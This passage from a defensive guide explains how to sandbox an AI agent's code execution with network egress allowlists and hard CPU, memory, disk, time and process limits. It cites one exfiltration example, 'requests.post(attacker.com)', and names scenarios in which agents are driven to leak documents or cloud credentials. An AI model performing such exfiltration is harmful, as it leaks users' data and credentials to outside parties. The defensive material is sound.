A code execution sandbox with no outbound internet access cannot exfiltrate data through generated code, regardless of what that code does. requests.post(attacker.com) simply fails — the connection is refused at the network level.
Implementation: Block all outbound connections from the sandbox's network namespace except to a specific allowlist of endpoints the agent legitimately needs (e.g., a specific internal API endpoint). This is enforced via network policy (Kubernetes NetworkPolicy, iptables, security groups) — not by trying to detect and block bad code at the code level.
What this stops: Type 3 (network exfiltration), Scenario 1 (document-driven exfiltration), Scenario 3 (cloud metadata credential exfiltration via external forwarding). The agent can still generate the exfiltration code — it just won't work.
The tradeoff: Some legitimate agent tasks require outbound network access (downloading datasets, calling external APIs). For those, the allowlist must be carefully scoped to specific endpoints and protocols.
Hard limits on every resource the sandbox can consume prevent resource exhaustion attacks and runaway loops:
CPU: ulimit -t (CPU seconds) or cgroup cpu.max — the process is killed if it exceeds the limit.
Memory: cgroup memory.max — the process is OOM-killed rather than allowed to exhaust host memory.
Disk writes: ulimit -f (file size) or filesystem quota — prevents disk exhaustion from unbounded writes.
Wall-clock time: A hard execution timeout kills any process that runs longer than the allowed window — catching infinite loops that don't consume excessive CPU.
Process count: ulimit -u — prevents fork bombs from spawning unlimited subprocesses.
Ask your team: if your AI agent's code execution environment were compromised, could it call out to the internet or consume enough compute to cause an outage? Ask whether outbound connections and resource usage are capped by hard limits — not just by the agent's own behavior.